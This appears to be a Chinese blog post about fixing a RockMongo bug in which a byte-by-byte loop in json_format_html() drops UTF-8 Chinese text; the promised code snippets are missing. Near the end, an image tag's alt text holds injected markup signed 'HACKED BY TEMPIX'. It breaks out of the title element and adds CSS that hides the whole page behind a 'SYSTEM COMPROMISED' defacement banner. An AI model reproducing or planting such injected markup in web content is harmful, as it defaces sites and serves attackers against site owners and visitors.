Mongodb是时下非常流行的数据库,而Rockmongo可以说是最普及的web版gui了。但是Rockmongo在显示utf-8中文数据时一直有问题,最新版本v1.1.2仍然没有解决。今天专门腾了点时间debug并将其解决,将过程记录一下供大家参考。
问题现象
1、插入一条包含中文的数据
2、保存之后,中文数据不见了
DEBUG
审查元素发现,从服务器端返回时中文已经不见了,排除问题在浏览器端的可能性
通过url ( /index.php?action=collection.index&db=test&collection=a )来看,rockmongo内部用的是一个MVC的框架,打开源码一看,结构相当干净:
凭直觉定位到/app/controllers/collection.php中的doIndex(),打点确认一下,确实是这里。
这个action写的相当长,可读性相当差,只好从尾部看起,然后逐块排查,找到最终输出的语句$this->display(),没有传任何参数,看来数据是直接挂在controller实例上的,var_dump( $this )看一下:
可以看到rows中就是要显示的记录,而 data 中存放的就是最终输出的html,这里已经没有中文了。看一下处理rows的代码:
打点测试发现,经过$this->_highlight()处理后,中文内容就不见了。通过搜索找到_highlight()的位置:
打点测试,发现json_format_html()处理后,中文就没了。通过搜索找到json_format_html(),大致看了一下,是逐字符遍历给 { } [ ] ‘ ” 等符号添加样式,而utf-8中文是三个字符,这个遍历就出问题了。
解决问题
问题定位后,解决就很简单了。先百度了一下utf-8的解析逻辑:
1、如果第一个字节的asc码>=224,则说明本字节和后面两个字节组成一个字符;
2、如果第一个字节的asc码>=192,则说明本字节和后面一个字节组成一个字符;
3、如果第一个字节的asc码<192,则说明本字节是一个独立的字符。
根据以上定义,将json_format_html()中第73行 $char = $json[$c]; 后插入以下代码:
保存之后,问题解决:)
后记
考虑到Rockmongo的最新版本还没有解决这个问题,于是想去提一个patch,在issues里一搜,原来已经有人提了,还有人给出了更简洁的patch,学习了。相信在下一个版本中,Rockmongo会解决这个问题。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)










是的,已经在1.1.3中解决了,感谢你这么用心地解答。